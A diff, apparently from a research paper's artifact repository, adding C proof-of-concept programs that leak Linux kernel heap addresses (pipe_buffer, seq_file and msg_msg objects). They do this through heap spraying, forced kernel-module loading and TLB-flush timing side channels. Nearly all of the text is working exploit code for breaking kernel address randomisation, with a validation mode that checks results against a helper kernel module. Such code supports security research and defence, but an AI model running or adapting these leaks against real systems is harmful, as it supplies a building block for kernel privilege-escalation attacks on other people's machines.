size_t found_30 = hit_flush(qids[30], MSG_TYPE, cur_addr, TRIES);
|
||||
if (!found_30)
|
||||
continue;
|
||||
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < MSGS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids_spray[i]);
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if (found_addresses[0] == (msg_msg_0 & ~((1<<12)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
263
paper/artifacts/heap/pipe_buffer_leak.c
Normal file
263
paper/artifacts/heap/pipe_buffer_leak.c
Normal file
|
@ -0,0 +1,263 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define OBJS_PER_SLAB 42
|
||||
#define PIPE_BUFFER_SPRAY (OBJS_PER_SLAB*200)
|
||||
#define PIPE_BUFFER (OBJS_PER_SLAB*10)
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 16
|
||||
int pipes_spray[PIPE_BUFFER_SPRAY][2];
|
||||
int pipes[PIPE_BUFFER][2];
|
||||
char buffer[0x1000];
|
||||
|
||||
void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
__attribute__((unused))int __ret = read(fd, (void *)0xdeadbeef000, 8);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
size_t time;
|
||||
size_t prev_time = -1;
|
||||
size_t last_slab = -1;
|
||||
for (size_t i = 0; i < PIPE_BUFFER_SPRAY/2; ++i) {
|
||||
alloc_pipes(pipes_spray[i], O_NONBLOCK);
|
||||
resize_pipe(pipes_spray[i][0], 2);
|
||||
write_pipe(pipes_spray[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
for (size_t i = PIPE_BUFFER_SPRAY/2; i < PIPE_BUFFER_SPRAY; ++i) {
|
||||
alloc_pipes(pipes_spray[i], O_NONBLOCK);
|
||||
size_t t0 = rdtsc_begin();
|
||||
resize_pipe(pipes_spray[i][0], 2);
|
||||
size_t t1 = rdtsc_end();
|
||||
write_pipe(pipes_spray[i][1], buffer, 8);
|
||||
time = t1-t0;
|
||||
if (time > (prev_time+1000)) {
|
||||
if (last_slab == (size_t)-1)
|
||||
last_slab = i;
|
||||
else if (i - last_slab == OBJS_PER_SLAB)
|
||||
break;
|
||||
else
|
||||
last_slab = -1;
|
||||
}
|
||||
prev_time = time;
|
||||
}
|
||||
for (size_t i = 0; i < PIPE_BUFFER; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
__attribute__((unused))size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
size_t pipe_buffer_0;
|
||||
size_t pipe_buffer_1;
|
||||
size_t pipe_buffer_2;
|
||||
size_t pipe_buffer_3;
|
||||
size_t pipe_buffer_4;
|
||||
size_t pipe_buffer_21;
|
||||
size_t pipe_buffer_40;
|
||||
size_t pipe_buffer_ns1;
|
||||
size_t pipe_buffer_ns2;
|
||||
size_t pipe_buffer_ns3;
|
||||
size_t pipe_buffer_ns4;
|
||||
size_t pipe_buffer_ns5;
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_0, pipes[0][0], 1);
|
||||
printf("[*] pipe_buffer 0 %016zx\n", pipe_buffer_0);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_1, pipes[1][0], 1);
|
||||
printf("[*] pipe_buffer 1 %016zx\n", pipe_buffer_1);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_2, pipes[2][0], 1);
|
||||
printf("[*] pipe_buffer 2 %016zx\n", pipe_buffer_2);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_3, pipes[3][0], 1);
|
||||
printf("[*] pipe_buffer 3 %016zx\n", pipe_buffer_3);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_4, pipes[4][0], 1);
|
||||
printf("[*] pipe_buffer 4 %016zx\n", pipe_buffer_4);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_21, pipes[21][0], 1);
|
||||
printf("[*] pipe_buffer 21 %016zx\n", pipe_buffer_21);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_40, pipes[40][0], 1);
|
||||
printf("[*] pipe_buffer 40 %016zx\n", pipe_buffer_40);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns1, pipes[OBJS_PER_SLAB][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB, pipe_buffer_ns1);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns2, pipes[OBJS_PER_SLAB*2][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*2, pipe_buffer_ns2);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns3, pipes[OBJS_PER_SLAB*3][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*3, pipe_buffer_ns3);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns4, pipes[OBJS_PER_SLAB*4][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*4, pipe_buffer_ns4);
|
||||
lkm_pipe_buffer_leak((size_t)&pipe_buffer_ns5, pipes[OBJS_PER_SLAB*5][0], 1);
|
||||
printf("[*] pipe_buffer %d %016zx\n", OBJS_PER_SLAB*5, pipe_buffer_ns5);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(pipe_buffer_0);
|
||||
printf("[*] %016zx is %s page\n", pipe_buffer_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
|
||||
if (is_2mb(pipes[0][0], addr, 40))
|
||||
continue;
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(pipes[0][0], cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_ns1 = hit_flush(pipes[OBJS_PER_SLAB][0], cur_addr, TRIES);
|
||||
if (found_ns1)
|
||||
continue;
|
||||
size_t found_ns2 = hit_flush(pipes[OBJS_PER_SLAB*2][0], cur_addr, TRIES);
|
||||
if (found_ns2)
|
||||
continue;
|
||||
size_t found_ns3 = hit_flush(pipes[OBJS_PER_SLAB*3][0], cur_addr, TRIES);
|
||||
if (found_ns3)
|
||||
continue;
|
||||
size_t found_ns4 = hit_flush(pipes[OBJS_PER_SLAB*4][0], cur_addr, TRIES);
|
||||
if (found_ns4)
|
||||
continue;
|
||||
size_t found_ns5 = hit_flush(pipes[OBJS_PER_SLAB*5][0], cur_addr, TRIES);
|
||||
if (found_ns5)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(pipes[1][0], cur_addr, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(pipes[2][0], cur_addr, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(pipes[3][0], cur_addr, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
size_t found_21 = hit_flush(pipes[21][0], cur_addr, TRIES);
|
||||
if (!found_21)
|
||||
continue;
|
||||
size_t found_40 = hit_flush(pipes[40][0], cur_addr, TRIES);
|
||||
if (!found_40)
|
||||
continue;
|
||||
size_t found_39 = hit_flush(pipes[39][0], cur_addr, TRIES);
|
||||
if (!found_39)
|
||||
continue;
|
||||
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if (found_addresses[0] == (pipe_buffer_0 & ~((1<<12)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
212
paper/artifacts/heap/seq_file_leak.c
Normal file
212
paper/artifacts/heap/seq_file_leak.c
Normal file
|
@ -0,0 +1,212 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define OBJS_PER_SLAB 34
|
||||
#define FILES_SPRAY (OBJS_PER_SLAB*200)
|
||||
#define FILES (OBJS_PER_SLAB*10)
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
char buffer[1<<12];
|
||||
void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
for (size_t i = 0; i < FILES_SPRAY; ++i)
|
||||
open("/proc/self/stat", O_RDONLY);
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
int fds[FILES];
|
||||
for (size_t i = 0; i < FILES; ++i) {
|
||||
fds[i] = open("/proc/self/stat", O_RDONLY);
|
||||
if (fds[i] < 0) {
|
||||
perror("open(/proc/self/stat)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
__attribute__((unused))size_t found_addresses[32];
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
#ifdef VALIDATE
|
||||
lkm_init();
|
||||
size_t seq_file_0;
|
||||
size_t seq_file_1;
|
||||
size_t seq_file_2;
|
||||
size_t seq_file_3;
|
||||
size_t seq_file_33;
|
||||
lkm_seq_file_leak((size_t)&seq_file_0, fds[0]);
|
||||
printf("[*] seq_file 0 %016zx\n", seq_file_0);
|
||||
lkm_seq_file_leak((size_t)&seq_file_1, fds[1]);
|
||||
printf("[*] seq_file 1 %016zx\n", seq_file_1);
|
||||
lkm_seq_file_leak((size_t)&seq_file_2, fds[2]);
|
||||
printf("[*] seq_file 2 %016zx\n", seq_file_2);
|
||||
lkm_seq_file_leak((size_t)&seq_file_3, fds[3]);
|
||||
printf("[*] seq_file 3 %016zx\n", seq_file_3);
|
||||
lkm_seq_file_leak((size_t)&seq_file_33, fds[OBJS_PER_SLAB-1]);
|
||||
printf("[*] seq_file %d %016zx\n", OBJS_PER_SLAB-1, seq_file_33);
|
||||
|
||||
size_t is_4kb = lkm_is_4kb(seq_file_0);
|
||||
printf("[*] %016zx is %s page\n", seq_file_0, is_4kb ? "4kB" : "2MB");
|
||||
#endif
|
||||
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
if (is_2mb(fds[0], addr, 40))
|
||||
continue;
|
||||
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(fds[0], cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
|
||||
size_t found_ns1 = hit_flush(fds[OBJS_PER_SLAB], cur_addr, TRIES);
|
||||
if (found_ns1)
|
||||
continue;
|
||||
size_t found_ns2 = hit_flush(fds[OBJS_PER_SLAB*2], cur_addr, TRIES);
|
||||
if (found_ns2)
|
||||
continue;
|
||||
size_t found_ns3 = hit_flush(fds[OBJS_PER_SLAB*3], cur_addr, TRIES);
|
||||
if (found_ns3)
|
||||
continue;
|
||||
size_t found_ns4 = hit_flush(fds[OBJS_PER_SLAB*4], cur_addr, TRIES);
|
||||
if (found_ns4)
|
||||
continue;
|
||||
size_t found_ns5 = hit_flush(fds[OBJS_PER_SLAB*5], cur_addr, TRIES);
|
||||
if (found_ns5)
|
||||
continue;
|
||||
size_t found_ns6 = hit_flush(fds[OBJS_PER_SLAB*6], cur_addr, TRIES);
|
||||
if (found_ns6)
|
||||
continue;
|
||||
|
||||
size_t found_1 = hit_flush(fds[1], cur_addr, TRIES);
|
||||
if (!found_1)
|
||||
continue;
|
||||
size_t found_2 = hit_flush(fds[2], cur_addr, TRIES);
|
||||
if (!found_2)
|
||||
continue;
|
||||
size_t found_3 = hit_flush(fds[3], cur_addr, TRIES);
|
||||
if (!found_3)
|
||||
continue;
|
||||
|
||||
if (found_addresses_index == 32) {
|
||||
printf("[?] too much found addresses\n");
|
||||
continue;
|
||||
}
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] found addr %016zx\n", cur_addr);
|
||||
}
|
||||
}
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
#ifdef VALIDATE
|
||||
else if (found_addresses[0] == (seq_file_0 & ~((1<<12)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
#else
|
||||
else
|
||||
printf("[*] found %016zx\n", found_addresses[0]);
|
||||
#endif
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue